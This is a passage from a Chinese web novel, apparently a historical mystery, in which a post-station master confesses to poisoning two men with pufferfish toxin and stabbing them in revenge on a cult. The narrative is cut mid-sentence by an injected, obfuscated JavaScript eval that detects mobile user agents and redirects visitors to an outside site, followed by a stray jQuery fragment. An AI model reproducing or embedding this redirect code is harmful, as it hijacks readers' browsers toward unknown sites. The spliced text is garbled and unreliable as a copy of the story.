他跟着驿长在这官驿待了五年,从没见对方发过脾气,更别提动手杀人。
“杀柳明远,是为了报仇。”驿长看向柳明远的房间,眼里渐渐升起强烈的恨意。
“他是‘圣莲教’的人。十年前,那个邪教骗光了我的家产,还害死了我的妻子和女儿。”
“圣莲教?”裴凛微微一怔。
他记得这个教派,十年前因蛊惑百姓、敛财害命被朝廷剿灭,当年抓了不少教众,没想到还有漏网之鱼。
“就是这个邪教!当年他们说我妻子有‘灾厄’,要我把全部家产捐给教里才能化解。
我信了,可他们拿了钱,把我妻子和女儿关在柴房里活活饿死!
我去找他们理论,他们却说我的妻女是‘孽障’,死了活该!”
他深吸一口气,努力平复情绪:“朝廷取缔了邪教,我以为这帮天杀的都遭了报应。
可昨天柳明远住进来,我无意中看见他屋里的香炉斜插着一根香。
那是‘圣莲教’小头目特有的祭拜法子,我一眼就认出来了。”
裴知微问道:“可柳明远和李四的尸身上都没有挣扎的痕迹。
柳明远是文官,或许没力气反抗,可李四是家仆,常年干活有把子力气,怎会没挣扎就丢了性命?”
所有人都看向驿长,连那四个官员也忘了要走,等着他的回答。
驿长没有回避,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368471|183929||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
给他们下了毒。
那东西无色无味,混在水里,人喝下不用一刻钟,就会全身麻痹,意识清醒,却动不了一根手指,连喊都喊不出来。”
“河豚毒?”王承嗣猛地喊出声,眼睛瞪得老大,“这东西不是早就禁了吗!私藏河豚毒是死罪,你怎么敢……”
“我有什么不敢的?”驿长打断他,语气里带着自嘲。
“十年前我妻女死的时候,我就该死了。”
他看向裴知微,继续说:“夜里我去柳明远房里问他还有没有什么需要,顺势给他倒了杯热茶,把毒下在里面。
他没有防备,一口就喝了。我故意与他聊了起来,他说要替我驱邪,跪在香炉前念那些邪经。
不到一刻钟,他就僵在那里动不了了。我拿出匕首,刺进他胸口,他连躲都躲不了。”
“那李四呢?”裴知微追问,“他只是柳明远的家仆,跟你无冤无仇,为什么杀他?”
“他伺|候柳明远,能是什么好东西。”驿长声音没有半点犹豫。
“没有人知道我去找过柳明远。
如果李四‘畏罪自杀’,所有人都会以为是他杀了柳明远。
这样案子就能快点结,没人会怀疑到我头上。”
他停顿了一下,回想起当时的情形。
“我找到李四时,他正蹲在角落里。
我跟他说裴大人找他,有东西要他去后院认。他没有怀疑,跟着我去了那间废屋。
在路上,我就把下了毒的水递给他喝,他主子刚死,心里正慌,接过去就喝了。
等到了空屋,没多久他就不能动了。我把匕首刺进